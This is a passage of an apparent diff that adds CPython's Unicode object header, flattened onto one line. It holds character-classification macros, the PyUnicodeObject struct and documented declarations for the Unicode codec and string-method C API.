_PyUnicode_ToDecimalDigit(ch) +#define Py_UNICODE_TODIGIT(ch) _PyUnicode_ToDigit(ch) +#define Py_UNICODE_TONUMERIC(ch) _PyUnicode_ToNumeric(ch) + +#define Py_UNICODE_ISALPHA(ch) iswalpha(ch) + +#else + +/* Since splitting on whitespace is an important use case, and + whitespace in most situations is solely ASCII whitespace, we + optimize for the common case by using a quick look-up table + _Py_ascii_whitespace (see below) with an inlined check. + + */ +#define Py_UNICODE_ISSPACE(ch) \ + ((ch) < 128U ? _Py_ascii_whitespace[(ch)] : _PyUnicode_IsWhitespace(ch)) + +#define Py_UNICODE_ISLOWER(ch) _PyUnicode_IsLowercase(ch) +#define Py_UNICODE_ISUPPER(ch) _PyUnicode_IsUppercase(ch) +#define Py_UNICODE_ISTITLE(ch) _PyUnicode_IsTitlecase(ch) +#define Py_UNICODE_ISLINEBREAK(ch) _PyUnicode_IsLinebreak(ch) + +#define Py_UNICODE_TOLOWER(ch) _PyUnicode_ToLowercase(ch) +#define Py_UNICODE_TOUPPER(ch) _PyUnicode_ToUppercase(ch) +#define Py_UNICODE_TOTITLE(ch) _PyUnicode_ToTitlecase(ch) + +#define Py_UNICODE_ISDECIMAL(ch) _PyUnicode_IsDecimalDigit(ch) +#define Py_UNICODE_ISDIGIT(ch) _PyUnicode_IsDigit(ch) +#define Py_UNICODE_ISNUMERIC(ch) _PyUnicode_IsNumeric(ch) + +#define Py_UNICODE_TODECIMAL(ch) _PyUnicode_ToDecimalDigit(ch) +#define Py_UNICODE_TODIGIT(ch) _PyUnicode_ToDigit(ch) +#define Py_UNICODE_TONUMERIC(ch) _PyUnicode_ToNumeric(ch) + +#define Py_UNICODE_ISALPHA(ch) _PyUnicode_IsAlpha(ch) + +#endif + +#define Py_UNICODE_ISALNUM(ch) \ + (Py_UNICODE_ISALPHA(ch) || \ + Py_UNICODE_ISDECIMAL(ch) || \ + Py_UNICODE_ISDIGIT(ch) || \ + Py_UNICODE_ISNUMERIC(ch)) + +#define Py_UNICODE_COPY(target, source, length) \ + Py_MEMCPY((target), (source), (length)*sizeof(Py_UNICODE)) + +#define Py_UNICODE_FILL(target, value, length) \ + do {Py_ssize_t i_; Py_UNICODE *t_ = (target); Py_UNICODE v_ = (value);\ + for (i_ = 0; i_ < (length); i_++) t_[i_] = v_;\ + } while (0) + +/* Check if substring matches at given offset. the offset must be + valid, and the substring must not be empty */ + +#define Py_UNICODE_MATCH(string, offset, substring) \ + ((*((string)->str + (offset)) == *((substring)->str)) && \ + ((*((string)->str + (offset) + (substring)->length-1) == *((substring)->str + (substring)->length-1))) && \ + !memcmp((string)->str + (offset), (substring)->str, (substring)->length*sizeof(Py_UNICODE))) + +#ifdef __cplusplus +extern "C" { +#endif + +/* --- Unicode Type ------------------------------------------------------- */ + +typedef struct { + PyObject_HEAD + Py_ssize_t length; /* Length of raw Unicode data in buffer */ + Py_UNICODE *str; /* Raw Unicode buffer */ + long hash; /* Hash value; -1 if not set */ + PyObject *defenc; /* (Default) Encoded version as Python + string, or NULL; this is used for + implementing the buffer protocol */ +} PyUnicodeObject; + +PyAPI_DATA(PyTypeObject) PyUnicode_Type; + +#define PyUnicode_Check(op) \ + PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_UNICODE_SUBCLASS) +#define PyUnicode_CheckExact(op) (Py_TYPE(op) == &PyUnicode_Type) + +/* Fast access macros */ +#define PyUnicode_GET_SIZE(op) \ + (((PyUnicodeObject *)(op))->length) +#define PyUnicode_GET_DATA_SIZE(op) \ + (((PyUnicodeObject *)(op))->length * sizeof(Py_UNICODE)) +#define PyUnicode_AS_UNICODE(op) \ + (((PyUnicodeObject *)(op))->str) +#define PyUnicode_AS_DATA(op) \ + ((const char *)((PyUnicodeObject *)(op))->str) + +/* --- Constants ---------------------------------------------------------- */ + +/* This Unicode character will be used as replacement character during + decoding if the errors argument is set to "replace". Note: the + Unicode character U+FFFD is the official REPLACEMENT CHARACTER in + Unicode 3.0. */ + +#define Py_UNICODE_REPLACEMENT_CHARACTER ((Py_UNICODE) 0xFFFD) + +/* === Public API ========================================================= */ + +/* --- Plain Py_UNICODE --------------------------------------------------- */ + +/* Create a Unicode Object from the Py_UNICODE buffer u of the given + size. + + u may be NULL which causes the contents to be undefined. It is the + user's responsibility to fill in the needed data afterwards. Note + that modifying the Unicode object contents after construction is + only allowed if u was set to NULL. + + The buffer is copied into the new object. */ + +PyAPI_FUNC(PyObject*) PyUnicode_FromUnicode( + const Py_UNICODE *u, /* Unicode buffer */ + Py_ssize_t size /* size of buffer */ + ); + +/* Similar to PyUnicode_FromUnicode(), but u points to Latin-1 encoded bytes */ +PyAPI_FUNC(PyObject*) PyUnicode_FromStringAndSize( + const char *u, /* char buffer */ + Py_ssize_t size /* size of buffer */ + ); + +/* Similar to PyUnicode_FromUnicode(), but u points to null-terminated + Latin-1 encoded bytes */ +PyAPI_FUNC(PyObject*) PyUnicode_FromString( + const char *u /* string */ + ); + +/* Return a read-only pointer to the Unicode object's internal + Py_UNICODE buffer. */ + +PyAPI_FUNC(Py_UNICODE *) PyUnicode_AsUnicode( + PyObject *unicode /* Unicode object */ + ); + +/* Get the length of the Unicode object. */ + +PyAPI_FUNC(Py_ssize_t) PyUnicode_GetSize( + PyObject *unicode /* Unicode object */ + ); + +/* Get the maximum ordinal for a Unicode character. */ +PyAPI_FUNC(Py_UNICODE) PyUnicode_GetMax(void); + +/* Resize an already allocated Unicode object to the new size length. + + *unicode is modified to point to the new (resized) object and 0 + returned on success. + + This API may only be called by the function which also called the + Unicode constructor. The refcount on the object must be 1. Otherwise, + an error is returned. + + Error handling is implemented as follows: an exception is set, -1 + is returned and *unicode left untouched. + +*/ + +PyAPI_FUNC(int) PyUnicode_Resize( + PyObject **unicode, /* Pointer to the Unicode object */ + Py_ssize_t length /* New length */ + ); + +/* Coerce obj to an Unicode object and return a reference with + *incremented* refcount. + + Coercion is done in the following way: + + 1. String and other char buffer compatible objects are decoded + under the assumptions that they contain data using the current + default encoding. Decoding is done in "strict" mode. + + 2. All other objects (including Unicode objects) raise an + exception. + + The API returns NULL in case of an error. The caller is responsible + for decref'ing the returned objects. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_FromEncodedObject( + register PyObject *obj, /* Object */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Coerce obj to an Unicode object and return a reference with + *incremented* refcount. + + Unicode objects are passed back as-is (subclasses are converted to + true Unicode objects), all other objects are delegated to + PyUnicode_FromEncodedObject(obj, NULL, "strict") which results in + using the default encoding as basis for decoding the object. + + The API returns NULL in case of an error. The caller is responsible + for decref'ing the returned objects. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_FromObject( + register PyObject *obj /* Object */ + ); + +PyAPI_FUNC(PyObject *) PyUnicode_FromFormatV(const char*, va_list); +PyAPI_FUNC(PyObject *) PyUnicode_FromFormat(const char*, ...); + +/* Format the object based on the format_spec, as defined in PEP 3101 + (Advanced String Formatting). */ +PyAPI_FUNC(PyObject *) _PyUnicode_FormatAdvanced(PyObject *obj, + Py_UNICODE *format_spec, + Py_ssize_t format_spec_len); + +/* --- wchar_t support for platforms which support it --------------------- */ + +#ifdef HAVE_WCHAR_H + +/* Create a Unicode Object from the whcar_t buffer w of the given + size. + + The buffer is copied into the new object. */ + +PyAPI_FUNC(PyObject*) PyUnicode_FromWideChar( + register const wchar_t *w, /* wchar_t buffer */ + Py_ssize_t size /* size of buffer */ + ); + +/* Copies the Unicode Object contents into the wchar_t buffer w. At + most size wchar_t characters are copied. + + Note that the resulting wchar_t string may or may not be + 0-terminated. It is the responsibility of the caller to make sure + that the wchar_t string is 0-terminated in case this is required by + the application. + + Returns the number of wchar_t characters copied (excluding a + possibly trailing 0-termination character) or -1 in case of an + error. */ + +PyAPI_FUNC(Py_ssize_t) PyUnicode_AsWideChar( + PyUnicodeObject *unicode, /* Unicode object */ + register wchar_t *w, /* wchar_t buffer */ + Py_ssize_t size /* size of buffer */ + ); + +#endif + +/* --- Unicode ordinals --------------------------------------------------- */ + +/* Create a Unicode Object from the given Unicode code point ordinal. + + The ordinal must be in range(0x10000) on narrow Python builds + (UCS2), and range(0x110000) on wide builds (UCS4). A ValueError is + raised in case it is not. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_FromOrdinal(int ordinal); + +/* --- Free-list management ----------------------------------------------- */ + +/* Clear the free list used by the Unicode implementation. + + This can be used to release memory used for objects on the free + list back to the Python memory allocator. + +*/ + +PyAPI_FUNC(int) PyUnicode_ClearFreeList(void); + +/* === Builtin Codecs ===================================================== + + Many of these APIs take two arguments encoding and errors. These + parameters encoding and errors have the same semantics as the ones + of the builtin unicode() API. + + Setting encoding to NULL causes the default encoding to be used. + + Error handling is set by errors which may also be set to NULL + meaning to use the default handling defined for the codec. Default + error handling for all builtin codecs is "strict" (ValueErrors are + raised). + + The codecs all use a similar interface. Only deviation from the + generic ones are documented. + +*/ + +/* --- Manage the default encoding ---------------------------------------- */ + +/* Return a Python string holding the default encoded value of the + Unicode object. + + The resulting string is cached in the Unicode object for subsequent + usage by this function. The cached version is needed to implement + the character buffer interface and will live (at least) as long as + the Unicode object itself. + + The refcount of the string is *not* incremented. + + *** Exported for internal use by the interpreter only !!! *** + +*/ + +PyAPI_FUNC(PyObject *) _PyUnicode_AsDefaultEncodedString( + PyObject *, const char *); + +/* Returns the currently active default encoding. + + The default encoding is currently implemented as run-time settable + process global. This may change in future versions of the + interpreter to become a parameter which is managed on a per-thread + basis. + + */ + +PyAPI_FUNC(const char*) PyUnicode_GetDefaultEncoding(void); + +/* Sets the currently active default encoding. + + Returns 0 on success, -1 in case of an error. + + */ + +PyAPI_FUNC(int) PyUnicode_SetDefaultEncoding( + const char *encoding /* Encoding name in standard form */ + ); + +/* --- Generic Codecs ----------------------------------------------------- */ + +/* Create a Unicode object by decoding the encoded string s of the + given size. */ + +PyAPI_FUNC(PyObject*) PyUnicode_Decode( + const char *s, /* encoded string */ + Py_ssize_t size, /* size of buffer */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Encodes a Py_UNICODE buffer of the given size and returns a + Python string object. */ + +PyAPI_FUNC(PyObject*) PyUnicode_Encode( + const Py_UNICODE *s, /* Unicode char buffer */ + Py_ssize_t size, /* number of Py_UNICODE chars to encode */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Encodes a Unicode object and returns the result as Python + object. */ + +PyAPI_FUNC(PyObject*) PyUnicode_AsEncodedObject( + PyObject *unicode, /* Unicode object */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +/* Encodes a Unicode object and returns the result as Python string + object. */ + +PyAPI_FUNC(PyObject*) PyUnicode_AsEncodedString( + PyObject *unicode, /* Unicode object */ + const char *encoding, /* encoding */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_BuildEncodingMap( + PyObject* string /* 256 character map */ + ); + + +/* --- UTF-7 Codecs ------------------------------------------------------- */ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF7( + const char *string, /* UTF-7 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF7Stateful( + const char *string, /* UTF-7 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors, /* error handling */ + Py_ssize_t *consumed /* bytes consumed */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeUTF7( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* number of Py_UNICODE chars to encode */ + int base64SetO, /* Encode RFC2152 Set O characters in base64 */ + int base64WhiteSpace, /* Encode whitespace (sp, ht, nl, cr) in base64 */ + const char *errors /* error handling */ + ); + +/* --- UTF-8 Codecs ------------------------------------------------------- */ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF8( + const char *string, /* UTF-8 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF8Stateful( + const char *string, /* UTF-8 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors, /* error handling */ + Py_ssize_t *consumed /* bytes consumed */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_AsUTF8String( + PyObject *unicode /* Unicode object */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeUTF8( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* number of Py_UNICODE chars to encode */ + const char *errors /* error handling */ + ); + +/* --- UTF-32 Codecs ------------------------------------------------------ */ + +/* Decodes length bytes from a UTF-32 encoded buffer string and returns + the corresponding Unicode object. + + errors (if non-NULL) defines the error handling. It defaults + to "strict". + + If byteorder is non-NULL, the decoder starts decoding using the + given byte order: + + *byteorder == -1: little endian + *byteorder == 0: native order + *byteorder == 1: big endian + + In native mode, the first four bytes of the stream are checked for a + BOM mark. If found, the BOM mark is analysed, the byte order + adjusted and the BOM skipped. In the other modes, no BOM mark + interpretation is done. After completion, *byteorder is set to the + current byte order at the end of input data. + + If byteorder is NULL, the codec starts in native order mode. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF32( + const char *string, /* UTF-32 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors, /* error handling */ + int *byteorder /* pointer to byteorder to use + 0=native;-1=LE,1=BE; updated on + exit */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF32Stateful( + const char *string, /* UTF-32 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors, /* error handling */ + int *byteorder, /* pointer to byteorder to use + 0=native;-1=LE,1=BE; updated on + exit */ + Py_ssize_t *consumed /* bytes consumed */ + ); + +/* Returns a Python string using the UTF-32 encoding in native byte + order. The string always starts with a BOM mark. */ + +PyAPI_FUNC(PyObject*) PyUnicode_AsUTF32String( + PyObject *unicode /* Unicode object */ + ); + +/* Returns a Python string object holding the UTF-32 encoded value of + the Unicode data. + + If byteorder is not 0, output is written according to the following + byte order: + + byteorder == -1: little endian + byteorder == 0: native byte order (writes a BOM mark) + byteorder == 1: big endian + + If byteorder is 0, the output string will always start with the + Unicode BOM mark (U+FEFF). In the other two modes, no BOM mark is + prepended. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeUTF32( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* number of Py_UNICODE chars to encode */ + const char *errors, /* error handling */ + int byteorder /* byteorder to use 0=BOM+native;-1=LE,1=BE */ + ); + +/* --- UTF-16 Codecs ------------------------------------------------------ */ + +/* Decodes length bytes from a UTF-16 encoded buffer string and returns + the corresponding Unicode object. + + errors (if non-NULL) defines the error handling. It defaults + to "strict". + + If byteorder is non-NULL, the decoder starts decoding using the + given byte order: + + *byteorder == -1: little endian + *byteorder == 0: native order + *byteorder == 1: big endian + + In native mode, the first two bytes of the stream are checked for a + BOM mark. If found, the BOM mark is analysed, the byte order + adjusted and the BOM skipped. In the other modes, no BOM mark + interpretation is done. After completion, *byteorder is set to the + current byte order at the end of input data. + + If byteorder is NULL, the codec starts in native order mode. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF16( + const char *string, /* UTF-16 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors, /* error handling */ + int *byteorder /* pointer to byteorder to use + 0=native;-1=LE,1=BE; updated on + exit */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF16Stateful( + const char *string, /* UTF-16 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors, /* error handling */ + int *byteorder, /* pointer to byteorder to use + 0=native;-1=LE,1=BE; updated on + exit */ + Py_ssize_t *consumed /* bytes consumed */ + ); + +/* Returns a Python string using the UTF-16 encoding in native byte + order. The string always starts with a BOM mark. */ + +PyAPI_FUNC(PyObject*) PyUnicode_AsUTF16String( + PyObject *unicode /* Unicode object */ + ); + +/* Returns a Python string object holding the UTF-16 encoded value of + the Unicode data. + + If byteorder is not 0, output is written according to the following + byte order: + + byteorder == -1: little endian + byteorder == 0: native byte order (writes a BOM mark) + byteorder == 1: big endian + + If byteorder is 0, the output string will always start with the + Unicode BOM mark (U+FEFF). In the other two modes, no BOM mark is + prepended. + + Note that Py_UNICODE data is being interpreted as UTF-16 reduced to + UCS-2. This trick makes it possible to add full UTF-16 capabilities + at a later point without compromising the APIs. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeUTF16( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* number of Py_UNICODE chars to encode */ + const char *errors, /* error handling */ + int byteorder /* byteorder to use 0=BOM+native;-1=LE,1=BE */ + ); + +/* --- Unicode-Escape Codecs ---------------------------------------------- */ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeUnicodeEscape( + const char *string, /* Unicode-Escape encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_AsUnicodeEscapeString( + PyObject *unicode /* Unicode object */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeUnicodeEscape( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length /* Number of Py_UNICODE chars to encode */ + ); + +/* --- Raw-Unicode-Escape Codecs ------------------------------------------ */ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeRawUnicodeEscape( + const char *string, /* Raw-Unicode-Escape encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_AsRawUnicodeEscapeString( + PyObject *unicode /* Unicode object */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeRawUnicodeEscape( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length /* Number of Py_UNICODE chars to encode */ + ); + +/* --- Unicode Internal Codec --------------------------------------------- + + Only for internal use in _codecsmodule.c */ + +PyObject *_PyUnicode_DecodeUnicodeInternal( + const char *string, + Py_ssize_t length, + const char *errors + ); + +/* --- Latin-1 Codecs ----------------------------------------------------- + + Note: Latin-1 corresponds to the first 256 Unicode ordinals. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeLatin1( + const char *string, /* Latin-1 encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_AsLatin1String( + PyObject *unicode /* Unicode object */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeLatin1( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ + const char *errors /* error handling */ + ); + +/* --- ASCII Codecs ------------------------------------------------------- + + Only 7-bit ASCII data is excepted. All other codes generate errors. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeASCII( + const char *string, /* ASCII encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_AsASCIIString( + PyObject *unicode /* Unicode object */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeASCII( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ + const char *errors /* error handling */ + ); + +/* --- Character Map Codecs ----------------------------------------------- + + This codec uses mappings to encode and decode characters. + + Decoding mappings must map single string characters to single + Unicode characters, integers (which are then interpreted as Unicode + ordinals) or None (meaning "undefined mapping" and causing an + error). + + Encoding mappings must map single Unicode characters to single + string characters, integers (which are then interpreted as Latin-1 + ordinals) or None (meaning "undefined mapping" and causing an + error). + + If a character lookup fails with a LookupError, the character is + copied as-is meaning that its ordinal value will be interpreted as + Unicode or Latin-1 ordinal resp. Because of this mappings only need + to contain those mappings which map characters to different code + points. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeCharmap( + const char *string, /* Encoded string */ + Py_ssize_t length, /* size of string */ + PyObject *mapping, /* character mapping + (char ordinal -> unicode ordinal) */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_AsCharmapString( + PyObject *unicode, /* Unicode object */ + PyObject *mapping /* character mapping + (unicode ordinal -> char ordinal) */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeCharmap( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ + PyObject *mapping, /* character mapping + (unicode ordinal -> char ordinal) */ + const char *errors /* error handling */ + ); + +/* Translate a Py_UNICODE buffer of the given length by applying a + character mapping table to it and return the resulting Unicode + object. + + The mapping table must map Unicode ordinal integers to Unicode + ordinal integers or None (causing deletion of the character). + + Mapping tables may be dictionaries or sequences. Unmapped character + ordinals (ones which cause a LookupError) are left untouched and + are copied as-is. + +*/ + +PyAPI_FUNC(PyObject *) PyUnicode_TranslateCharmap( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ + PyObject *table, /* Translate table */ + const char *errors /* error handling */ + ); + +#ifdef MS_WIN32 + +/* --- MBCS codecs for Windows -------------------------------------------- */ + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeMBCS( + const char *string, /* MBCS encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors /* error handling */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_DecodeMBCSStateful( + const char *string, /* MBCS encoded string */ + Py_ssize_t length, /* size of string */ + const char *errors, /* error handling */ + Py_ssize_t *consumed /* bytes consumed */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_AsMBCSString( + PyObject *unicode /* Unicode object */ + ); + +PyAPI_FUNC(PyObject*) PyUnicode_EncodeMBCS( + const Py_UNICODE *data, /* Unicode char buffer */ + Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ + const char *errors /* error handling */ + ); + +#endif /* MS_WIN32 */ + +/* --- Decimal Encoder ---------------------------------------------------- */ + +/* Takes a Unicode string holding a decimal value and writes it into + an output buffer using standard ASCII digit codes. + + The output buffer has to provide at least length+1 bytes of storage + area. The output string is 0-terminated. + + The encoder converts whitespace to ' ', decimal characters to their + corresponding ASCII digit and all other Latin-1 characters except + \0 as-is. Characters outside this range (Unicode ordinals 1-256) + are treated as errors. This includes embedded NULL bytes. + + Error handling is defined by the errors argument: + + NULL or "strict": raise a ValueError + "ignore": ignore the wrong characters (these are not copied to the + output buffer) + "replace": replaces illegal characters with '?' + + Returns 0 on success, -1 on failure. + +*/ + +PyAPI_FUNC(int) PyUnicode_EncodeDecimal( + Py_UNICODE *s, /* Unicode buffer */ + Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ + char *output, /* Output buffer; must have size >= length */ + const char *errors /* error handling */ + ); + +/* --- Methods & Slots ---------------------------------------------------- + + These are capable of handling Unicode objects and strings on input + (we refer to them as strings in the descriptions) and return + Unicode objects or integers as apporpriate. */ + +/* Concat two strings giving a new Unicode string. */ + +PyAPI_FUNC(PyObject*) PyUnicode_Concat( + PyObject *left, /* Left string */ + PyObject *right /* Right string */ + ); + +/* Split a string giving a list of Unicode strings. + + If sep is NULL, splitting will be done at all whitespace + substrings. Otherwise, splits occur at the given separator. + + At most maxsplit splits will be done. If negative, no limit is set. + + Separators are not included in the resulting list. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_Split( + PyObject *s, /* String to split */ + PyObject *sep, /* String separator */ + Py_ssize_t maxsplit /* Maxsplit count */ + ); + +/* Dito, but split at line breaks. + + CRLF is considered to be one line break. Line breaks are not + included in the resulting list. */ + +PyAPI_FUNC(PyObject*) PyUnicode_Splitlines( + PyObject *s, /* String to split */ + int keepends /* If true, line end markers are included */ + ); + +/* Partition a string using a given separator. */ + +PyAPI_FUNC(PyObject*) PyUnicode_Partition( + PyObject *s, /* String to partition */ + PyObject *sep /* String separator */ + ); + +/* Partition a string using a given separator, searching from the end of the + string. */ + +PyAPI_FUNC(PyObject*) PyUnicode_RPartition( + PyObject *s, /* String to partition */ + PyObject *sep /* String separator */ + ); + +/* Split a string giving a list of Unicode strings. + + If sep is NULL, splitting will be done at all whitespace + substrings. Otherwise, splits occur at the given separator. + + At most maxsplit splits will be done. But unlike PyUnicode_Split + PyUnicode_RSplit splits from the end of the string. If negative, + no limit is set. + + Separators are not included in the resulting list. + +*/ + +PyAPI_FUNC(PyObject*) PyUnicode_RSplit( + PyObject *s, /* String to split */ + PyObject *sep, /* String separator */ + Py_ssize_t maxsplit /* Maxsplit count */ + ); + +/* Translate a string by applying a character mapping table to it and + return the resulting Unicode object. + + The mapping table must map Unicode ordinal integers to Unicode + ordinal integers or None (causing deletion of the character). + + Mapping tables may be dictionaries or sequences. Unmapped character + ordinals (ones which cause a LookupError) are left untouched and + are copied as-is. + +*/ + +PyAPI_FUNC(PyObject *) PyUnicode_Translate( + PyObject *str, /* String */ + PyObject *table, /* Translate table */ + const char *errors /* error handling */ + ); + +/* Join a sequence of strings using the given separator and return + the resulting Unicode string. */ + +PyAPI_FUNC(PyObject*) PyUnicode_Join( + PyObject *separator, /* Separator string */ + PyObject *seq /* Sequence object */ + ); + +/* Return 1 if substr matches str[start:end] at the given tail end, 0 + otherwise. */ + +PyAPI_FUNC(Py_ssize_t) PyUnicode_Tailmatch( + PyObject *str, /* String */ + PyObject *substr, /* Prefix or Suffix string */ + Py_ssize_t start, /* Start index */ + Py_ssize_t end, /* Stop index */ + int direction /* Tail end: -1 prefix, +1 suffix */ + ); + +/* Return the first position of substr in str[start:end] using the + given search direction or -1 if not found. -2 is returned in case + an error occurred and an exception is set. */ + +PyAPI_FUNC(Py_ssize_t) PyUnicode_Find( + PyObject *str, /* String */ + PyObject *substr, /* Substring to find */ + Py_ssize_t start, /* Start index */ + Py_ssize_t end, /* Stop index */ + int direction /* Find direction: +1 forward, -1 backward */ + ); + +/* Count the number of occurrences of substr in str[start:end]. */ + +PyAPI_FUNC(Py_ssize_t) PyUnicode_Count( + PyObject *str, /* String */ + PyObject *substr, /* Substring to count */ + Py_ssize_t start, /* Start index */ + Py_ssize_t end /* Stop index */ + ); + +/* Replace at most maxcount occurrences of substr in str with replstr + and return the resulting Unicode object. */ + +PyAPI_FUNC(PyObject *) PyUnicode_Replace( + PyObject *str, /* String */ + PyObject *substr, /* Substring to find */ + PyObject *replstr, /* Substring to replace */ + Py_ssize_t maxcount /* Max. number of replacements to apply; + -1 = all */ + ); + +/* Compare two strings and return -1, 0, 1 for less than, equal, + greater than resp. */ + +PyAPI_FUNC(int) PyUnicode_Compare( + PyObject *left, /* Left string */ + PyObject *right /* Right string */ + ); + +/* Rich compare two strings and return one of the following: + + - NULL in case an exception was raised + - Py_True or Py_False for successfuly comparisons + - Py_NotImplemented in case the type combination is unknown + + Note that Py_EQ and Py_NE comparisons can cause a UnicodeWarning in + case the conversion of the arguments to Unicode fails with a + UnicodeDecodeError. + + Possible values for op: + + Py_GT, Py_GE, Py_EQ, Py_NE, Py_LT, Py_LE + +*/ + +PyAPI_FUNC(PyObject *) PyUnicode_RichCompare( + PyObject *left, /* Left string */ + PyObject *right, /* Right string */ + int op /* Operation: Py_EQ, Py_NE, Py_GT, etc. */ + ); + +/* Apply a argument tuple or dictionary to a format string and return + the resulting Unicode string. */ + +PyAPI_FUNC(PyObject *) PyUnicode_Format( + PyObject *format, /* Format string */ + PyObject *args /* Argument tuple or dictionary */ + ); + +/* Checks whether element is contained in container and return 1/0 + accordingly. + + element has to coerce to an one element Unicode string. -1 is + returned in case of an error. */ + +PyAPI_FUNC(int) PyUnicode_Contains( + PyObject *container, /* Container string */ + PyObject *element /* Element string */ + ); + +/* Externally visible for str.strip(unicode) */ +PyAPI_FUNC(PyObject *) _PyUnicode_XStrip( + PyUnicodeObject *self, + int striptype, + PyObject *sepobj + ); + +/* === Characters Type APIs =============================================== */ + +/* Helper array used by Py_UNICODE_ISSPACE(). */ + +PyAPI_DATA(const unsigned char) _Py_ascii_whitespace[]; + +/* These should not be used directly. Use the Py_UNICODE_IS* and + Py_UNICODE_TO* macros instead. + + These APIs are implemented in Objects/unicodectype.c. + +*/ + +PyAPI_FUNC(int) _PyUnicode_IsLowercase( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_IsUppercase( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_IsTitlecase( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_IsWhitespace( + const Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_IsLinebreak( + const Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(Py_UNICODE) _PyUnicode_ToLowercase( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(Py_UNICODE) _PyUnicode_ToUppercase( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(Py_UNICODE) _PyUnicode_ToTitlecase( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_ToDecimalDigit( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_ToDigit( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(double) _PyUnicode_ToNumeric( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_IsDecimalDigit( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_IsDigit( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_IsNumeric( + Py_UNICODE ch /* Unicode character */ + ); + +PyAPI_FUNC(int) _PyUnicode_IsAlpha( + Py_UNICODE ch /* Unicode character */ + ); + +#ifdef __cplusplus 